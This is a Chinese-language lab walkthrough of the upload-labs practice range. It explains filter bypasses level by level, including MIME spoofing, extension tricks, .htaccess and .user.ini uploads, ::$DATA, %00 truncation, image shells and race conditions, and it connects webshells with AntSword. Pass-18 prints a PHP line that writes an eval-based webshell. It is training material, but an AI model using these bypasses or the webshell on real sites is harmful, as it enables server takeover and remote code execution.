Pass-01
第一关是前端JS绕过

上传一个php文件显示只能上传特定后缀名的文件

这里将1.php改为1.jpg直接进行抓包,在数据包中将jpg改为php放行

文件上传成功,邮件图片新建页面打开

可以访问到1.php文件,则一句话密码上传成功

使用蚁剑 进行连接可以成功

Pass-02

查看源码,发现是限制了MIME类型只能是imge/jpeg

上传一个1.jpg文件
抓包,将jpg改为php,MIME类型依旧是imge/jpeg,放行

上传成功

新建页面打开图片,之后再次使用蚁剑进行连接即可,这里及之后的关卡就不再赘述此步骤了

Pass-03

这一关限制很多,但是可以使用黑名单绕过
将文件名改为1.php4、1.php5等后缀名进行上传即可


Pass-04

这一关是.htaccess攻击,关于.htaccess具体参考下面链接
.htaccess介绍
这一关需要先上传.htaccess文件,再上传1.jpg,可以访问到1.jpg代表上传成功

Pass-05

这一关要先上传.user.ini文件,再上传1.jpg文件
但是在访问 的时候会发现显示错误
这里需要提前在upload目录在新建一个php文件作为.user.ini文件的引导文件
然后访问这个新建的php文件就可以服务到我们上传的文件

我这里创建的php文件是readme.php,访问

Pass-06

这一关是大小写绕过
将1.php的后缀名大小写组合即可上传成功,但是不能改为1.pHp,这个后缀被过滤了


Pass-07

这一关强制将文件名转换为小写
可以使用空格绕过

抓包,在php后面加一个空格,放行

上传成功


Pass-08

这一关使用填点绕过,就是在php文件名后面加上一个点即可
抓包
上传成功


Pass-09

这一关将空格和点都过滤了,
所以我们使用数据流绕过
就是在文件名后面加上::$DATA
将文件变成一个数据流,而不再是文件

抓包

上传成功
Pass-10

这一关基本上是把之前的上传方式都过滤了
但是还是有办法的,我们使用点空格点过滤
就是在文件名的后面加上点空格点,这样只有最后的点和空格会被过滤
最终保留的就是1.php.
抓包,放行

上传成功


Pass-11

这一关是双写绕过
就是讲后缀名嵌套书写来躲避过滤

上传成功
’
Pass-12

这一关是白名单%00截断
首先上传一个1.jpg文件
抓包,在upload目录后面加上随机的php文件,然后使用%00隔断,这样就相当于将一个1.jpg文件写入了1.php文件中

上传成功

删除后面的jpg文件,访问1.php


Pass-13
这一关和12关一样,只是有get传参改为了post传参
首先进行抓包,在upload后面写一个php文件,在文件的后面加一个““+””符号

点开十六进制页面 ,找到刚才输入的加号,将其改为00,放行即可

上传成功
在将php文件后面的多余东西删除 ,直接访问php文件即可

Pass-14

这一关是图片马文件包含绕过
首先,将一个jpg文件和php文件合成图片马

上传生产的shell.jpg文件,

Pass-15

上传上一关的shell.jpg文件,使用file协议进行访问
Pass-16
环境不适配,感兴趣可以在fofa上找一个靶场环境适配的进行练习
Pass-17

图片需要二次渲染,上传图片,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

使用蚁剑进行连接

Pass-18

创建php文件。里面写php语句如下
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
上传文件,抓包,进行攻击

得到webshell文件

进行蚁剑连接
Pass-20

这一关是黑名单绕过
上传文件1.php。保存名称改为1.php/.
右键访问图片得到结果




















